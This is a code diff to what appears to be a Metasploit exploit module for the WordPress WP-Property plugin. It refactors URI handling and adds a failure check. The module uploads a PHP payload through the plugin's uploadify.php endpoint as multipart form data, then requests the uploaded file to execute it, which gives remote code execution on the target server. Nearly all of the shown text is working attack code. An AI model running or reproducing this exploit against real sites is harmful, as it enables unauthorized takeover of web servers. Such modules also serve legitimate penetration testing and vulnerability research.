@@ -54,12 +54,11 @@ def initialize(info = {})
54
54
end
55
55
56
56
def check
57
- uri = target_uri . path
58
- uri << '/' if uri [ -1 , 1 ] != '/'
57
+ uri = normalize_uri ( target_uri . path , 'wp-content' , 'plugins' , 'wp-property' , 'third-party' , 'uploadify' , 'uploadify.php' )
59
58
60
59
res = send_request_cgi ( {
61
60
'method' => 'GET' ,
62
- 'uri' => " #{ uri } wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"
61
+ 'uri' => uri
63
62
} )
64
63
65
64
if not res or res . code != 200
@@ -70,8 +69,8 @@ def check
70
69
end
71
70
72
71
def exploit
73
- uri = target_uri . path
74
- uri << '/' if uri [ - 1 , 1 ] != '/'
72
+ data_uri = normalize_uri ( target_uri . path , 'wp-content' , 'plugins' , 'wp-property' , 'third-party' , 'uploadify/' )
73
+ request_uri = normalize_uri ( data_uri , 'uploadify.php' )
75
74
76
75
peer = "#{ rhost } :#{ rport } "
77
76
@@ -80,13 +79,13 @@ def exploit
80
79
81
80
data = Rex ::MIME ::Message . new
82
81
data . add_part ( php_payload , "application/octet-stream" , nil , "form-data; name=\" Filedata\" ; filename=\" #{ @payload_name } \" " )
83
- data . add_part ( " #{ uri } wp-content/plugins/wp-property/third-party/uploadify/" , nil , nil , "form-data; name=\" folder\" " )
82
+ data . add_part ( data_uri , nil , nil , "form-data; name=\" folder\" " )
84
83
post_data = data . to_s
85
84
86
85
print_status ( "#{ peer } - Uploading payload #{ @payload_name } " )
87
86
res = send_request_cgi ( {
88
87
'method' => 'POST' ,
89
- 'uri' => " #{ uri } wp-content/plugins/wp-property/third-party/uploadify/uploadify.php" ,
88
+ 'uri' => request_uri ,
90
89
'ctype' => "multipart/form-data; boundary=#{ data . bound } " ,
91
90
'data' => post_data
92
91
} )
@@ -95,12 +94,16 @@ def exploit
95
94
fail_with ( Failure ::UnexpectedReply , "#{ peer } - Upload failed" )
96
95
end
97
96
98
- upload_uri = res . body
97
+ upload_uri = normalize_uri ( res . body )
99
98
100
99
print_status ( "#{ peer } - Executing payload #{ @payload_name } " )
101
100
res = send_request_raw ( {
102
101
'uri' => upload_uri ,
103
102
'method' => 'GET'
104
103
} )
104
+
105
+ if res and res . code != 200
106
+ fail_with ( Failure ::UnexpectedReply , "#{ peer } - Execution failed" )
107
+ end
105
108
end
106
109
end
0 commit comments